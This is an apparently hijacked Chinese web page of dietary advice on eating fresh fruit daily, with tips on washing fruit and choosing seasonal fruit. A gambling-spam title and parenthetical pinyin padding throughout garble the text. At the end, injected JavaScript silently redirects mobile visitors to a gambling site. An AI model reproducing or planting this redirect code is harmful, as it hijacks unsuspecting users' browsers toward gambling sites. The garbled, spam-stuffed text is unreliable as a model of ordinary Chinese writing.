ag8老虎机

合理饮食(4)每天吃新鲜水果200克~400克

  日期:2014-05-16   点击:9352

科学依据:

新(xin)鲜水果(guo)是膳(shan)食(shi)中(zhong)维(wei)生(sheng)(sheng)素(su)(su)(维(wei)生(sheng)(sheng)素(su)(su)C、胡萝(luo)卜素(su)(su)以及(ji)B族维(wei)生(sheng)(sheng)素(su)(su))、矿物(wu)质(zhi)(钾(jia)、镁、钙(gai))和膳(shan)食(shi)纤(xian)维(wei)(纤(xian)维(wei)素(su)(su)、半(ban)纤(xian)维(wei)素(su)(su)和果(guo)胶)的(de)(de)重要来源。水果(guo)已被公认(ren)为是最佳的(de)(de)防(fang)癌食(shi)物(wu),能(neng)够降低冠心病(bing)(bing)和2型糖尿病(bing)(bing)的(de)(de)发病(bing)(bing)风险(xian)。

健康行为:

(1)吃新鲜卫生的(de)水(shui)果:清(qing)洗(xi)(xi)(xi)水(shui)果时,先清(qing)洗(xi)(xi)(xi)后浸(jin)泡,浸(jin)泡时间不(bu)少于10分钟,然(ran)后再用清(qing)水(shui)冲洗(xi)(xi)(xi)1次(ci)。

(2)在(zai)鲜果(guo)供(gong)应不足时可选择一(yi)些含糖量低的纯(chun)果(guo)汁或干(gan)果(guo)制(zhi)品(pin)(pin)。果(guo)汁和干(gan)果(guo)制(zhi)作过(guo)程中会损失(shi)营养成(cheng)分(fen)如维生素(su)C、膳食纤(xian)维等,因(yin)此水果(guo)制(zhi)品(pin)(pin)不能(neng)替代(dai)新鲜水果(guo)。

(3)成年人为(wei)了控制体重,可以在餐前吃(chi)水(shui)果(柿(shi)子等不宜在饭前吃(chi)的水(shui)果除外),有利(li)于控制进餐总量(liang),避免过饱。

(4)选择应季成(cheng)(cheng)(cheng)熟(shu)(shu)的(de)水果。反季节的(de)水果都是通过(guo)人工条(tiao)件生产出来的(de),或是使用激(ji)素,或是温室(shi)培育,有食品安(an)全(quan)隐(yin)患;成(cheng)(cheng)(cheng)熟(shu)(shu)水果所含的(de)营(ying)养成(cheng)(cheng)(cheng)分一般比未成(cheng)(cheng)(cheng)熟(shu)(shu)的(de)水果高。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();